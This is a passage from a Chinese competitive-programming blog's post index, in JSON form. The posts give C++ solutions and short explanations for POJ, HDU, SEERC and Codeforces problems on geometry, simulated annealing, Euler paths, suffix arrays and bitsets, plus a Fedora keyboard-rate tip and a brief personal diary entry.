(dblcmp(tmp)==0)continue; 80 area+=tmp; 81 ret.x+=(p[0].x+p[i].x+p[i+1].x)/3*tmp; 82 ret.y+=(p[0].y+p[i].y+p[i+1].y)/3*tmp; 83 } 84 if (dblcmp(area))ret=ret.div(area); 85 return ret; 86 } 87}pol; 88int main() 89{ 90 #ifndef ONLINE_JUDGE 91 freopen(\"code","date":"2016-08-29","externalUrl":null,"permalink":"/2016/08/poj-1385/","section":"Posts","summary":"poj 1385 题目链接 题意：求多边形的重心。 思路： 抄模板（逃 嘛。。三角形的重心是三个点坐标的平均数。。。","tags":["计算几何","重心"],"title":"poj 1385 Lifting the Stone (多边形的重心)","type":"post"},{"categories":["ACM"],"content":"poj 2420 题意：求多边形费马点，也就是距离所有点的距离之和最小的点。 思路：模拟退火裸题。 关于模拟退火的学习： 模拟退火讲解 我就记住了一句话2333： 爬山算法：兔子朝着比现在高的地方跳去。它找到了不远处的最高山峰。但是这座山不一定是珠穆朗玛峰。这就是爬山算法，它不能保证局部最优值就是全局最优值。 **　模拟退火：兔子喝醉了。它随机地跳了很长时间。这期间，它可能走向高处，也可能踏入平地。但是，它渐渐清醒了并朝最高方向跳去。** 等写一波题再来总结 以及：感觉适牛的版好简洁嘿嘿嘿。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月30日 星期一 17时04分06秒 4File Name :code/poj/2420.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define MAX 1000000 27#define INF 999999999 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int dblcmp(double d) 36{ 37 return d\u003c-eps?-1:d\u003eeps; 38} 39struct point 40{ 41 double x,y; 42 void input() 43 { 44 scanf(\"%lf%lf\",\u0026x,\u0026y); 45 } 46 double dis(point b) 47 { 48 double res ; 49 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y); 50 return sqrt(res); 51 } 52 void look() 53 { 54 cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 55 } 56}p[N]; 57double getsum(point t) 58{ 59 double sum = 0.0; 60 for ( int i = 1 ; i \u003c= n ; i++) sum += t.dis(p[i]); 61 return sum; 62} 63double SA(const point *p,int n,point \u0026ret) 64{ 65 int i; 66 double t,cur,ans = inf; 67 const double delta =0.95; 68 bool tag; 69 point nxt; 70 for (ret = p[1] ,t=MAX;t\u003eeps;t*=delta){ 71 for (tag = true;tag;){ 72 for (tag = i = 0;i\u003c4;i++){ 73 nxt.","date":"2016-08-29","externalUrl":null,"permalink":"/2016/08/poj-2420/","section":"Posts","summary":"poj 2420 题意：求多边形费马点，也就是距离所有点的距离之和最小的点。","tags":["模拟退火"],"title":"poj 2420 A Star not a Tree? (模拟退火模板题求多边形费马点)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问一个小矩形能否放在一个大矩形中，给定两个矩形的尺寸。 思路：主要是斜着放比较难判断。学弟貌似写了离散化角度旋转。。。我的做法是。。直接考虑对角线。。。因为我认为对角线是最有可能放进去的位置。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21 22using namespace std; 23const double eps = 1E-8; 24const int dx4[4]={1,0,0,-1}; 25const int dy4[4]={0,-1,1,0}; 26const int inf = 0x3f3f3f3f; 27int dblcmp(double d) {return d\u003c-eps?-1:d\u003eeps;} 28bool ok(double a,double b,double x,double y) 29{ 30 31 32 if (dblcmp(a-x)\u003e0\u0026\u0026dblcmp(b-y)\u003e0) return true; 33 if (dblcmp(a-x)\u003c0) return false; 34 double djx =sqrt(x*x*1.0+y*y*1.0); 35 double ax = asin(a*1.0/djx); 36 double ay = asin(x*1.0/djx); 37 double az = ax-ay; 38 double tmp = cos(az)*y+sin(az)*x; 39 if (dblcmp(tmp-b*1.0)\u003c=0) return true; 40 return false; 41 42} 43int main() 44{ 45 46 double a,b,x,y; 47 int T; 48 cin\u003e\u003eT; 49 while (T--) 50 { 51 scanf(\"%lf%lf%lf%lf\",\u0026a,\u0026b,\u0026x,\u0026y); 52 if (a\u003eb) swap(a,b); 53 if (x\u003ey) swap(x,y); 54 if (ok(a,b,x,y)) 55 puts(\"Escape is possible.\"); 56 else puts(\"Box cannot be dropped.\"); 57 } 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2016-08-28","externalUrl":null,"permalink":"/2016/08/poj-1380/","section":"Posts","summary":"题目链接 题意：问一个小矩形能否放在一个大矩形中，给定两个矩形的尺寸。","tags":["计算几何"],"title":"poj 1380 Equipment Box （简单几何）","type":"post"},{"categories":["ACM"],"content":"poj 1386 题意：n个单词，问能否形成一个串（单词接龙，收尾相连，当且仅当前一个单词的末尾字母和后一个单词的首字母相同） 思路：欧拉路。 关于欧拉路： (1)有向图G为欧拉图(存在欧拉回路)，当且仅当G的基图连通（弱联通，），且所有顶点的入度等于出度。 (2)有向图G为半欧拉图(存在欧拉路)，当且仅当G的基图连通（弱联通），且存在顶点u的入度比出度大1、v的入度比出度小1，其它所有顶点的入度等于出度。 （3） 无向图存在欧拉回路: 图连通，所有点都是偶数度， （4）无向图存在欧拉路：图联通，只有两个点的度数为奇数。 有向图判断联通性判断的弱联通，因此可以用并查集实现。 具体办法是，判断根的个数，个数为大于1表示不联通。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26const int N=26; 27int in[N]; 28int out[N]; 29int f[N]; 30int root ( int x) 31{ 32 if (x!=f[x]) f[x] = root(f[x]); 33 return f[x]; 34} 35void merge( int x,int y) 36{ 37 int rx = root(x); 38 int ry = root(y); 39 if (rx!=ry) 40 f[rx] = ry; 41} 42void init() 43{ 44 for ( int i = 0 ; i \u003c N ; i++) f[i] = i; 45 ms(in,0); 46 ms(out,0); 47} 48int n ; 49set\u003cint\u003ese; 50bool Euler() 51{ 52 int a,b; 53 a=b=0; 54 set\u003cint\u003e::iterator it; 55 for ( it = se.begin() ;it!=se.end() ; it++) 56 { 57 int i = *it; 58 if (in[i]==out[i]+1)a++; 59 else if (out[i]==in[i]+1) b++; 60 else if (out[i]!=in[i]) return false; 61 } 62 if (a+b==0||(a==1\u0026\u0026b==1)) return true; 63 return false; 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 int T; 71 cin\u003e\u003eT; 72 while (T--) 73 { 74 init(); 75 scanf(\"%d\",\u0026n); 76 se.clear(); 77 for ( int i = 0 ; i \u003c n ; i++) 78 { 79 char st[1005]; 80","date":"2016-08-28","externalUrl":null,"permalink":"/2016/08/poj-1386/","section":"Posts","summary":"poj 1386 题意：n个单词，问能否形成一个串（单词接龙，收尾相连，当且仅当前一个单词的末尾字母和后一个单词的首字母相同）","tags":["欧拉路"],"title":"poj 1386 Play on Words (欧拉路)","type":"post"},{"categories":["ACM"],"content":"poj 1383题目链接 题意：一个迷宫图，求最远两点的距离是多少，保证每两个点都是联通的。 思路：树的直径。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26const int N=1E3+7; 27char maze[N][N]; 28bool vis[N][N]; 29int ans; 30int n,m; 31struct Point 32{ 33 int x,y; 34 int d; 35 bool ok () 36 { 37 if (x\u003c0||y\u003c0||x\u003e=n||y\u003e=m) return false; 38 if (maze[x][y]=='#') return false; 39 if (vis[x][y]) return false; 40 return true; 41 } 42 void out() 43 { 44 cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 45 } 46}S,lst; 47void bfs(Point S) 48{ 49 queue\u003cPoint\u003eq; 50 S.d = 0; 51 q.push(S); 52 ms(vis,false); 53 vis[S.x][S.y] = true; 54 while (!q.empty()) 55 { 56 Point cur = q.front(); 57 q.pop(); 58 for ( int i = 0 ; i \u003c 4 ; i++) 59 { 60 Point nxt; 61 nxt.x = cur.x + dx4[i]; 62 nxt.y = cur.y + dy4[i]; 63 nxt.d = cur.d + 1; 64 if (!nxt.ok()) continue; 65 q.push(nxt); 66 vis[nxt.x][nxt.y] = true; 67 if (ans\u003cnxt.d) 68 { 69 ans = nxt. d; 70 lst = nxt; 71 } 72 } 73// cout\u003c\u003c\"ans:\"\u003c\u003cans\u003c\u003cendl; 74 } 75} 76int main() 77{ 78 #ifndef ONLINE_JUDGE 79 freopen(\"code/in.txt\",\"r\",stdin); 80 #endif 81 int T; 82 cin\u003e\u003eT; 83 while(T--) 84 { 85 ms(vis,false); 86 scanf(\"%d%d\",\u0026m,\u0026n); 87 for ( int i = 0; i \u003c n ; i++) scanf(\"%s\",maze[i]); 88 for ( int i = 0 ; i \u003c n ; i++) 89 for ( int j = 0 ; j \u003c m ; j++) 90 if (maze[i][j]=='.') 91 { 92 S.x = i ; 93 ","date":"2016-08-28","externalUrl":null,"permalink":"/2016/08/poj-1383/","section":"Posts","summary":"poj 1383题目链接 题意：一个迷宫图，求最远两点的距离是多少，保证每两个点都是联通的。","tags":["树的直径"],"title":"poj 1383 Labyrinth (树的直径裸题)","type":"post"},{"categories":["ACM"],"content":"poj 1379题目链接 题意：给出一个矩形区域的长宽，给出区域中若干点，问距离所有点的最近距离的最大值是多少。 思路：很容易想到模拟退火。 比赛的时候因为忘记判断矩形边界导致答案错得离谱2333 加上之后1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月28日 星期一 19时10分47秒 4File Name :code/poj/1379.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31#define INF 1e8 32#define MAX 1e6 33#define MAXN 1005 34double X,Y; 35int n; 36struct Point { 37 double x, y; 38 double d; 39 Point() {} 40 Point(double _x, double _y) : x(_x), y(_y) {} 41 Point operator +(const Point \u0026p) const { 42 return Point(x + p.x, y + p.y); 43 } 44 Point operator -(const Point \u0026p) const { 45 return Point(x - p.x, y - p.y); 46 } 47 Point operator *(double k) const { 48 return Point(x * k, y * k); 49 } 50 bool ok () 51 { 52 if (x\u003c0||y\u003c0||x\u003eX||y\u003eY) return false; 53 return true; 54 } 55} p[MAXN]; 56const Point d[4] = {Point(-1, 0), Point(0, -1), Point(1, 0), Point(0, 1)}; 57double dis(const Point \u0026a, const Point \u0026b) { 58 return sqrt((a.x - b.x) * (a.x - b.x) + (a.y - b.y) * (a.y - b.y)); 59} 60void solve(const Point *p, int n, Point \u0026ret) { 61 int i, j; 62 double x, cur, ans = 0; 63 const double delta = 0.95; 64 bool tag; 65 Point nxt; 66 for (ret = p[0], x = (X+Y)/10; x \u003e eps;","date":"2016-08-28","externalUrl":null,"permalink":"/2016/08/poj-1379/","section":"Posts","summary":"poj 1379题目链接 题意：给出一个矩形区域的长宽，给出区域中若干点，问距离所有点的最近距离的最大值是多少。","tags":["模拟退火"],"title":"poj 1379 Run Away (模拟退火)","type":"post"},{"categories":[],"content":"题目链接 题意：把一个长度为n的只由数字构成的串分成k个不为空的字串，使得最大的串最小（大小是说串所对应的十进制数的大小） 思路：由于长度为x的串肯定大于长度为x-1的串，因此很容易想到，我们要尽可能使得k组串的长度尽可能平均（避免出现某一个串的长度非常大的情况） 我们可以知道，最大值的串的长度一定为 LEN=(n+k-1)/k; 而每一组的长度，只可能是LEN或者LEN-1。 然后build_sa 注意循环串的几个地方记得%n 接下来二分sa数组的下标。 二分check的时候，先枚举断点，断环为链。 由于每部分最长的长度为LEN，所以0..LEN-1中一定存在一个断点。 然后贪心，尽可能取LEN 根据rk值来决定某一段的长度是LEN还是LEN-1（如果rk值比当前的大，那么就只能取LEN-1，否则取LEN） 如果此时k段的长度之和超过了n，说明此时的最大值还可能更小。 于是继续二分区间的前一半。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26const int N=1E5+7; 27char s[N]; 28int sa[N],t[N],t2[N],c[N]; 29int rk[N],height[N]; 30int L; 31int n,k; 32int cmp(int *r,int a,int b,int l){return r[a]==r[b]\u0026\u0026r[(a+l)%n]==r[(b+l)%n];} 33void build_sa(int n,int m) 34{ 35 int *x = t; 36 int *y = t2; 37 //ms(cnt,0); 38 ms(c,0); 39 for ( int i = 0 ; i \u003c n ; i++) c[x[i]=s[i]]++; 40 for ( int i = 1 ; i \u003c m ; i++) c[i]+=c[i-1]; 41 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--c[x[i]]] = i; 42 for ( int k = 1 ; k \u003c= n ; k \u003c\u003c=1) 43 { 44 int p = 0; 45 for ( int i = 0 ; i \u003c n ; i++) if (sa[i]\u003e=k) y[p++] = sa[i]-k; 46 else y[p++] = n+(sa[i]-k)%n; 47 ms(c,0); 48 for ( int i = 0 ; i \u003c n ; i++) c[x[y[i]]]++; 49 for ( int i = 0 ; i \u003c m ; i++) c[i]+=c[i-1]; 50 for ( int i = n-1 ; i \u003e=0 ; i--) sa[--c[x[y[i]]]] = y[i]; 51 swap(x,y); 52 p = 1; 53 x[sa[0]] = 0 ; 54 for ( int ","date":"2016-08-27","externalUrl":null,"permalink":"/2016/08/seerc-2014-circle-of-digits-/","section":"Posts","summary":"题目链接 题意：把一个长度为n的只由数字构成的串分成k个不为空的字串，使得最大的串最小（大小是说串所对应的十进制数的大小）","tags":["binary search","后缀数组"],"title":"seerc 2014 Circle of digits (二分+后缀数组)","type":"post"},{"categories":[],"content":"题目链接 思路：注意xy-(x-2)*(y-2)=2x+2y-4，一定被2整除。因此siz为2的也是合法的。这个比较容易忘掉。 其他的判定条件都很好想。具体见代码； 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26int X,Y; 27bool ok( int a) 28{ 29 if (a==2) return true; 30 if (X%a==0\u0026\u0026(Y-2)%a==0) return true; 31 if (Y%a==0\u0026\u0026(X-2)%a==0) return true; 32 if (X%a==1\u0026\u0026Y%a==1) return true; 33 34 return false; 35} 36int main() 37{ 38 // freopen(\"in.txt\",\"r\",stdin); 39 40 while (~scanf(\"%d%d\",\u0026X,\u0026Y)) 41 { 42 int n; 43 scanf(\"%d\",\u0026n); 44 while (n--) 45 { 46 int x; 47 scanf(\"%d\",\u0026x); 48 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003cendl; 49 if (ok(x)) puts(\"YES\"); 50 else puts(\"NO\"); 51 } 52 } 53return 0; 54}","date":"2016-08-27","externalUrl":null,"permalink":"/2016/08/seerc-2014-d-frame-/","section":"Posts","summary":"题目链接 思路：注意xy-(x-2)*(y-2)=2x+2y-4，一定被2整除。因此siz为2的也是合法的。这个比较容易忘掉。","tags":["水"],"title":"seerc 2014 D - Frame (傻逼题)","type":"post"},{"categories":[],"content":"题目链接 题意：n个数围成一圈，对于负数可以进行magic操作，也就是取反，但是会影响到左右相邻的，加上这个负数。问最少进行多少次magic操作，使得所有数都是非负。 思路：我们知道，如果一个负数想变成整数的话，只能通过magic 操作。唯一可能影响次数的就是顺序。 不过手动写了几个发现顺序好像无关紧要？ 于是大胆猜测，写了发暴力2333。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21 22using namespace std; 23const double eps = 1E-8; 24const int dx4[4]={1,0,0,-1}; 25const int dy4[4]={0,-1,1,0}; 26const int inf = 0x3f3f3f3f; 27const int maxn = 1e4+10; 28int n,a[maxn]; 29void work(){ 30 queue\u003cint\u003e Q; 31 int cnt = 0; 32 while(!Q.empty())Q.pop(); 33 for(int i = 0; i \u003c n; i++){ 34 if(a[i] \u003c 0){ 35 Q.push(i); 36 } 37 } 38 while(!Q.empty()){ 39 int fr = Q.front(); 40 Q.pop(); 41 if(a[fr]\u003e=0)continue; 42 int delta = -a[fr]; 43 if(a[(fr+n-1)%n] - delta \u003c 0){ 44 Q.push((fr+n-1)%n); 45 } 46 if(a[(fr+1)%n] - delta \u003c 0){ 47 Q.push((fr+1)%n); 48 } 49 a[(fr+n-1)%n]-=delta; 50 a[(fr+1)%n]-=delta; 51 a[fr] = -a[fr]; 52 cnt++; 53 } 54 printf(\"%d\\n\",cnt); 55} 56int main() 57{ 58 //freopen(\"in.txt\",\"r\",stdin); 59 while(scanf(\"%d\",\u0026n)==1){ 60 for(int i = 0; i \u003c n; i++)scanf(\"%d\",\u0026a[i]); 61 work(); 62 } 63 64return 0; 65}","date":"2016-08-27","externalUrl":null,"permalink":"/2016/08/seerc-2014-a-banks-/","section":"Posts","summary":"题目链接 题意：n个数围成一圈，对于负数可以进行magic操作，也就是取反，但是会影响到左右相邻的，加上这个负数。问最少进行多少次magic操作，使得所有数都是非负。","tags":["brute force"],"title":"seerc 2014 A Banks (暴力)","type":"post"},{"categories":["其他"],"content":"最近入手了x1 c 然后发现没办法支持 f22….. 没办法，只好上f24了。。。虽然明知道一堆bug… 最近发现。。之前在系统设置-\u003e键盘-\u003e打字 中的调整键盘延迟和速率的选项。。。不见了。。。 找了好久终于找到了解决办法： 1/××××××××××××××××××××××××××××××××××××××××××××××××/ 2 3xset r rate 250 30 链接：参考","date":"2016-08-25","externalUrl":null,"permalink":"/2016/08/fedora-24-cannot-modify-keyboard-delay-and-rate/","section":"Posts","summary":"最近入手了x1 c 然后发现没办法支持 f22….. 没办法，只好上f24了。。。虽然明知道一堆bug…","tags":["fedora"],"title":"fedora 24 cannot modify keyboard delay and rate","type":"post"},{"categories":["随笔杂谈"],"content":"想家了。 破游戏，不玩了。 上次绝望的想哭，还是那场校内选拔赛 我真的在努力了啊，我真的在认真了啊… 可是一年过去，我还是这么菜。 真的想哭，真的不想玩了 cf rating永远也超不过小可了吧… 那些没有学会的算法，再也没机会学了吧…. 感觉已经完全没有力气了。 sad max.","date":"2016-08-24","externalUrl":null,"permalink":"/2016/08/%e7%b4%af%e4%ba%86/","section":"Posts","summary":"想家了。 破游戏，不玩了。 上次绝望的想哭，还是那场校内选拔赛 我真的在努力了啊，我真的在认真了啊…","tags":["算法竞赛"],"title":"累了","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有n扇门，n种钥匙，一一对应。每扇门打开后可能得到k把钥匙（k可能为0）。一扇门还可以用一颗炸弹炸开。现在问要开所有门，使用炸弹的期望个数。 思路：状态压缩。用一个二进制串表示每扇门能打开的门的信息，对应的位上为1表示能打开，为0表示不能打开。 状态是可以传递的。。 如果第i扇门能打开门k，那么能打开第i扇门的第j扇门也可以打开门k。 状态压缩以及传递的过程可以很容易用bitset来维护，这才是bitset的正确打开姿势 相当于用floyd做了一个传递闭包。(floyd的有一层循环隐藏在了bitset中，复杂度没有改变，但是常数小) 最后对于期望的计算方法：统计能打开第i扇门的方案数计为cnt,这cnt的方案中，只有一种是用炸弹炸掉，因此用的炸弹数的期望数为1/cnt 由于期望的独立性，因此打开所有门所有的炸弹数的期望就是每个门的期望累加。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月21日 星期日 18时43分56秒 4File Name :code/hdu/5036.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1005; 33int n; 34bitset\u003cN\u003eb[N]; //b[i]表示第i扇门可以打开的门 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 int T; 41 cin\u003e\u003eT; 42 int cas = 0 ; 43 while (T--) 44 { 45 printf(\"Case #%d: \",++cas); 46 scanf(\"%d\",\u0026n); 47 for ( int i = 0 ; i \u003c= n ; i++) 48 { 49 b[i].reset(); 50 b[i].set(i); //第i扇门可以炸开自己。。。 51 } 52 for ( int i = 0 ; i \u003c n; i++) 53 { 54 int num; 55 scanf(\"%d\",\u0026num); 56 while (num--) 57 { 58 int x; 59 scanf(\"%d\",\u0026x); 60 x--; 61 b[i].set(x); 62 } 63 } 64 for ( int i = 0 ; i \u003c n ; i++) //枚举能打开第i扇门的门j，因为能开的门可以传递，所以门j可以通过打先开门i去开门i能开的门。 65 for ( int j = 0 ; ","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/hdu-5036/","section":"Posts","summary":"题目链接 题意：有n扇门，n种钥匙，一一对应。每扇门打开后可能得到k把钥匙（k可能为0）。一扇门还可以用一颗炸弹炸开。现在问要开所有门，使用炸弹的期望个数。","tags":["bitset优化","floyd","传递闭包","位运算","概率","状态压缩"],"title":"hdu 5036 Explosion||2014 北京区域赛网络赛 (概率+bitset优化的状态压缩+floyd传递闭包)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个数，问包含这个数三个数组成的勾股数，输出另外两个数。 思路： 所谓勾股数,就是当组成一个直角三角形的三边长都为正整数时,我们就称这一组数为勾股数. 那么,组成一组勾股数的三个正整数之间,是否具有一定的规律可寻呢?下面我们一起来观察几组勾股数： 规律一：在勾股数（3,4,5）、（5,12,13）、（7,24,25）（9,40,41）中,我们发现 由（3,4,5）有：32=9=4+5 由（5,12,13）有：52=25=12+13 由（7,24,25）有：72=49=24+25 由（9,40,41）有：92=81=40+41. 即在一组勾股数中,当最小边为奇数时,它的平方刚好等于另外两个连续的正整数之和.因此,我们把它推广到一般,从而可得出以下公式： ∵（2n+1)²=4n²+4n+1=（2n²+2n）+（2n²+2n+1） ∴（2n+1)²+（2n²+2n)²=（2n²+2n+1)²（n为正整数） 证明（略） 勾股数公式一：（2n+1,2n²+2n,2n²+2n+1）（n为正整数） 规律二：在勾股数（6,8,10）、（8,15,17）、（10,24,26）中,我们发现 由（6,8,10）有：62=36+2×（8+10） 由（8,15,17）有：82=64=2×（15+17） 由（10,24,26）有：102=100=2×（24+26） 即在一组勾股数中,当最小边为偶数时,它的平方刚好等于两个连续整数之和的二倍,推广到一般,从而可得出另一公式： ∵（2n）2=4n2=2[（n2-1）+（n2+1）] ∴（2n）2+（n2-1）2=（n2+1）2（n≥2且n为正整数） 证明（略） 勾股数公式二：（2n,n²-1,n²+1）（n≥2且n为正整数） 利用以上两个公式,我们可以快速写出各组勾股数. 结论是： n\u003c=2无解。 n为奇数用公式1构造。 n为偶数用公式2构造。 ** ** 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月20日 星期六 21时02分26秒 4File Name :code/cf/#368/C.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32LL n; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36//freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 cin\u003e\u003en; 39 if (n\u003c=2) 40 { 41 puts(\"-1\"); 42 return 0; 43 } 44 if (n%2==0) 45 { 46 n/=2; ","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/cf707c/","section":"Posts","summary":"题目链接 题意：给出一个数，问包含这个数三个数组成的勾股数，输出另外两个数。","tags":["math","勾股数","构造"],"title":"codeforces  #368 div 2 C. Pythagorean Triples (构造，数学)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：把一个数n(n\u003c1000)转化成二进制输出。。。 思路：。。。搜acm bitset 搜到这题。。。所以其实这并不是“bitset”优化的题。。。只是题目名字交这个了2333。 还是用bitset过掉了。。。不过不知道怎么处理高位0.。。 所以这是一次bitset的错误示范(逃 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月21日 星期日 16时10分50秒 4File Name :code/hdu/2051.cpp 5************************************************ */ 